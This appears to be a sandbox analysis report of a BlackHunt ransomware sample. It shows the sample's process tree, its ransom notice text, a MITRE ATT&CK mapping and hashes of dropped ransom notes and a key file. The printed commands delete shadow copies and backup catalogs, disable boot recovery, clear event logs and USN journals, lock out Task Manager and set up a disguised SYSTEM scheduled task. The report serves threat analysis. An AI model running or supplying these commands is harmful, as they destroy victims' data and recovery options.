  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2112
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:560
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2660
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:604
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2052
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:2096
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1728
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:1104
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:2000
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:1568
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:2500
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:792
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:1812
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:932
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:356
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:1036
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1448
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:292
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1608
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:240
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2872
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2408
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:2972
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:2588
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:2968
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:1052
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe" /F
  2⤵
  PID:2936
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:856
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:2988
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:1408
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:1852
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2104
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:2276
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:2740
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:548
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:1040
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:268
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2172
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:348
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2948
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:1116
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1560
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:1896
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:2884
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:472
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2664
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:412
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:3012
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:2344
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:1208
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:2264
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:2588
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:1900
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:1828
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:2224
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2684
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:2908
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:824
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:472
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2876
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:1536
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2776
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:932
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1588
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:548
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:1720
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:2444
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:204
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:3040
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2312
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:980
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:1600
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:1452
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2516
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:2740
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:2408
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:2316
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:2720
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:1632
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:2784
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:2256
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:2104
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:2788
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:2760
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:3020
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:920
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:2324
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1300
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:2204
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
    3⤵
    PID:2992
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:1048
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:632
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\dd3526b7d9b0e3bca3f3c8899213fd0f89c84d3c9715c296265b4620b6d36eab.exe"
  2⤵
  - Deletes itself
  PID:2096
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:2792

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2648

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2496

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k swprv
1⤵
PID:584

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:644

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:1172

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

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Downloads

C:\MSOCache\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
012344e31b26d694065820c5d9fa7167

SHA1
972b8424f8d70186d5fe92726a5fd22c8d84783e

SHA256
e83c62e954a781e821db3d589245a32d5fefe187475837cba1e7692c2556a7fb

SHA512
4c7b2b869cf212273737ac8a711c6105870a27448a6fc0dec1f47ade3fd26c6851510d042fd1705d96e93ba903516616752ee027ad194c201bccfc4649cff833

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
bfd28212246eda16fa7c33eea9ef1713

SHA1
97ca0e50cf1403ae3796601f1ef969553dfe3d3c

SHA256
382a1a14659d84c81c7ed755275f4b2863c694ca97b524d173a16ddc6cb83526

SHA512
18fc098c14464f62a50b587a5fae2ceb131cb461fb2998dbf248ea670446599a8494f057a0fce435e233e22033b4870a8be6623a9e550aa81bc4b50548650042

Download Submit
\Device\HarddiskVolume1\#BlackHunt_Private.key

Filesize
1KB

MD5
6b636bc7a4a6c7401c2bd42234dc50b7

SHA1
a09257533e039b62b85d6b1716d47a830f29c4a4

SHA256
e7c83b3f8834b10f9cd985bad5b723947ad9c2361b579c5614e40a2e25141efc

SHA512
45d6db749d1a7784c3cc0288af99d53d515cddf74d8d3cbf10bc905e89f3e5caaf658fed445e6ef75422f64dc624c14fd226d2c363224a0e909547797fa17e60

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads